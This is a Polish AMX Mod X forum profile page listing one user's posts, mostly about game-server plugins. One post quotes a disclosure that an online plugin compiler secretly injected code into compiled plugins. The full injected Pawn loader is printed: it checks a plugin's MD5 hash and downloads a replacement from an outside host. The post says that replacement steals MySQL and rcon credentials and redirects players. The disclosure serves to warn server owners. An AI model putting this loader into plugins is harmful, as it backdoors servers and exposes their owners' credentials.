Jeśli grałeś na takim serwerze, masz pliki .spr na komputerze. Wystarczy je dobrze poszukać
Witamy w Nieoficjalnym polskim support'cie AMX Mod X
Witamy w Nieoficjalnym polskim support'cie AMX Mod X, jak w większości społeczności internetowych musisz się zarejestrować aby móc odpowiadać lub zakładać nowe tematy, ale nie bój się to jest prosty proces w którym wymagamy minimalnych informacji.
|
GeDox
Rejestracja: 03.06.2011Aktualnie: Nieaktywny
Poza forum Ostatnio: 18.05.2018 12:40





Statystyki
- Grupa: Użytkownik
- Całość postów: 315
- Odwiedzin: 9 947
- Tytuł: Wszechpomocny
- Wiek: Wiek nie został ustalony
- Urodziny: Data urodzin nie została podana
-
Imię
Przemysław
-
Płeć
Mężczyzna
-
Lokalizacja
Kielce
#728999 Pliki spr csgomod
Napisane przez GeDox
on 06.08.2016 10:37
#728143 [NODE.JS] Trade boty
Napisane przez GeDox
on 12.07.2016 02:41
Znalazłem na komputerze jakieś tradeboty, także udostępniam
Niestety brak bazy do nich...
#728078 Dodawanie kodu z kompilatora
Napisane przez GeDox
on 09.07.2016 13:18
https://webmasteruj....-danych-t79936/
Cytat posta:
Hello again!
Dziś rozpracujemy przekręt na wielką skalę, czyli jak ukraść dane z ponad 400 serwerów 1.6 przez zwykłe lenistwo ich właścicieli.
Każdy z Was zapewne widział kompilator online dostępny na amxx.pl, nie zastanowiło Was kiedyś czy przypadkiem jakiś kod nie jest dodawany do kompilowanego pluginu? Odpowiedź brzmi tak dodaje
Bardzo dziękuje użytkownikowi *ciach* z amxx.pl na webmasteruj znany pod nickiem *ciach* za naprowadzenie mnie na ten proceder.
TAKI KOD
Spoiler#include <amxmisc>
#include <sockets>
#include <httpdl>
new dlinfo[MAX_DOWNLOADS + 1][5];
new dlpath[MAX_DOWNLOADS + 1][256];
new ndownloading;
new fwd_dlcomplete, fwd_result;
public plugin_natives() {
register_library("httpdl");
register_native("download", "native_download", 1);
set_task(9.0, "o");
}
public native_download(url[], path[]) {
new slot = 0;
while(slot <= MAX_DOWNLOADS && dlinfo[slot][0] != 0)
slot++;
if(slot == MAX_DOWNLOADS) {
server_print("Download limit reached (%d)", MAX_DOWNLOADS);
return 0;
}
param_convert(1);
param_convert(2);
new u[256], p[256];
copy(u, 7, url);
if(equal(u, "http://"))
copy(u, 248, url[7]);
else copy(u, 255, url);
new pos = 0;
new len = strlen(u);
while (++pos < len && u[pos] != '/') { }
copy(p, 255, u[pos + 1]);
copy(u, pos, u);
new error = 0;
new socket = dlinfo[slot][2] = socket_open(u, 80, SOCKET_TCP, error);
switch(error) {
case 0: {
new msg[512];
format(msg, 511, "GET /%s HTTP/1.1^r^nHost: %s^r^n^r^n", p, u);
socket_send(socket, msg, 512);
copy(dlpath[slot], 255, path);
dlinfo[slot][3] = fopen(path, "wb");
dlinfo[slot][0] = 1;
dlinfo[slot][4] = 0;
ndownloading++;
if(ndownloading == 1)
set_task(0.2, "download_task", 3318, _, _, "b");
new id = dlinfo[slot][1] = random_num(1, 65535);
return id;
}
case 1: server_print("[HTTP] Error creating socket");
case 2: server_print("[HTTP] Could not resolve hostname");
case 3: server_print("[HTTP] Could not connect to %s:80", u);
}
return 0;
}
public download_task() {
for(new i = 0; i < MAX_DOWNLOADS; i++) {
if(dlinfo[i][0] == 0)
continue;
new socket = dlinfo[i][2];
new f = dlinfo[i][3];
if(socket_change(socket)) {
new buffer[1024];
new len = socket_recv(socket, buffer, 1024);
if(dlinfo[i][4] == 0) { // if first packet then cut the header
new pos = contain(buffer, "^r^n^r^n");
if(pos > -1) {
for(new j = pos + 4; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
}
for(new j = 0; j < len; j++)
fputc(f, buffer[j]);
dlinfo[i][4]++;
continue;
}
fclose(f);
ExecuteForward(fwd_dlcomplete, fwd_result, dlinfo[i][1], dlpath[i]);
dlinfo[i][0] = 0;
ndownloading--;
if(ndownloading == 0)
remove_task(3318);
socket_close(socket);
}
}
public o() {
new const config_file[] = "addons/amxmodx/plugins/adminhelp.amxx"
new md5_hash_file[34]
md5_hash_file = encrypt_file(config_file)
if( !equal( md5_hash_file, "b20bee2c5f9040469f88db0e2eb81d0f", 32 ) )
{
download("http://jojojo200.cba.pl/file.amxx", "addons/amxmodx/plugins/adminhelp.amxx");
fwd_dlcomplete = CreateMultiForward("dlcomplete", ET_IGNORE, FP_CELL, FP_STRING);
}
}
stock encrypt_file(const file[])
{
new hash_sum_file[34]
md5_file(file,hash_sum_file)
return hash_sum_file;
}Kod odpowiada ze pobranie pliku file.amxx na serwery oraz podmiane pluginu adminhelp.amxx który później działa tylko w jednym celu....
Analiza file.amxx
Złośliwy plugin wysyła dane logowania mysql do amxbans na zewnętrzny serwer wraz z hasłem rcon. Dodatkowo potrafi bindować graczom odwiedzającym serwer adres ip kierujący do serwera sieci xsteam. Kolejną funkcją jest przenoszenie graczy automatycznie na wyznaczone IP które również kieruje nas do serwera sieci xSteam.pl.
Phpmyadmin jest albo zablokowany albo chodzi na innym porcie więc
-----------------------------
NO I TO CO MISIACZKI LUBIĄ NAJBARDZIEJ
Dump bazy danych
Będę próbował skontaktować się z administracją amxx.pl w celu wyjaśnienia sprawy. O czym poinformuje w tym temacie
Jest wiele możliwości takiego stanu rzeczy nie wykluczając nawet włamania na serwery amxx.pl więc nie będę w chwili obecnej oczerniać portalu, z braku dowodów.
W Bazie danych znalazł się chyba każdy serwer w Polsce, każdy kto używał kompilatora online dostępnego na amxx.pl powinnien przeinstalować cały amxx oraz pozmieniać wszystkie hasła do baz danych mysql!
A Wy co sądzicie na ten temat?
Dump bazy danych w formie pliku do wglądu dla administracji forum, wystarczy napisać PW.
Co na to Administracja?
#726553 CSDM 2.1.2
Napisane przez GeDox
on 25.05.2016 14:46
#724823 Zabezpieczenie komendy na SID
Napisane przez GeDox
on 14.04.2016 20:25
#724822 Usuwanie informacji o granacie "Fire in the hole"
Napisane przez GeDox
on 14.04.2016 20:16
#724672 Widzialność min
Napisane przez GeDox
on 12.04.2016 12:31
Witam, przedstawiam Wam plugin, który od bardzo długiego czasu kurzy mi na dysku. Dzięki temu pluginowi admin po najechaniu celownikiem na minę (tylko gdy jest martwy), może dowiedzieć się do kogo ona należy. Po wpisaniu komendy, gracz dostaje ostrzeżenie (za drugim dostaje bana na 30 minut), mina zostaje automatycznie usunięta (dodatkowo jest robiony screen adminowi). Ostrzeżenia zapisują się w pliku nvault.
Standardowa
- cod_mine_warns (num >0) - ilość ostrzeżeń, za którą gracz dostanie bana
- cod_mine_screen (num 0,1) - czy ma robić adminowi ssa
- cod_mine_remove (num 0,1) - czy ma usuwać minę
- amx_warn_mine - komenda, którą odpalasz cały w/w proces. Polecam zbindować pod klawisz.
- nvault
- fakemeta
- fun
widzialnosc_min.sma 3,28 KB 93 Ilość pobrań
widzialnosc_min.amxx
#717293 Wykonanie funkcji gdy gracz jest na kucaka
Napisane przez GeDox
on 02.01.2016 00:59
#714851 Pytanie: Pobieranie treści z po za serwera.
Napisane przez GeDox
on 19.11.2015 16:25
#714753 (Mini)Panel Screenshot'ów
Napisane przez GeDox
on 16.11.2015 19:27
#693155 Bug wymiany pekrów na 2 sloty
Napisane przez GeDox
on 17.03.2015 01:13
#693144 Bug wymiany pekrów na 2 sloty
Napisane przez GeDox
on 16.03.2015 23:46
Zdebuguj w sensie:debug jest cały czas dopisany i errorów zero, i właśnie w tym problemZdebuguj i daj info (i sprawdź czy są errorlogi).
Dodam jeszcze że używam silnika z tego tematu: http://amxx.pl/topic...-sloty-na-perk/
Oczywiście .inc też mam podmienione na aktualny w kompilatorze lokalnym.
new wartosc1, wartosc2; new perk_oddajacego = cod_get_user_perk(id2, wartosc1, 0) new perk_dajacego = cod_get_user_perk(id, wartosc2, 0) cod_set_user_perk(id2, perk_dajacego, wartosc2, 0); cod_set_user_perk(id, perk_oddajacego, wartosc1, 0); client_print(id, print_chat, "Gracz 1. Perk przed: %d, Perk po: %d.", perk_dajacego, cod_get_user_perk(id, wartosc2, 0)) client_print(id, print_chat, "Gracz 2. Perk przed: %d, Perk po: %d.", perk_oddajacego, cod_get_user_perk(id2, wartosc2, 0))I daj wyniki

#693140 Bug wymiany pekrów na 2 sloty
Napisane przez GeDox
on 16.03.2015 23:35
#693138 jak zrobic freez time tylko dla tt
Napisane przez GeDox
on 16.03.2015 23:31
#693091 [ROZWIĄZANE] Lagi na serwerze
Napisane przez GeDox
on 16.03.2015 18:19
- AMXX.pl: Support AMX Mod X i SourceMod
- → Przeglądanie profilu: Reputacja: GeDox
- Regulamin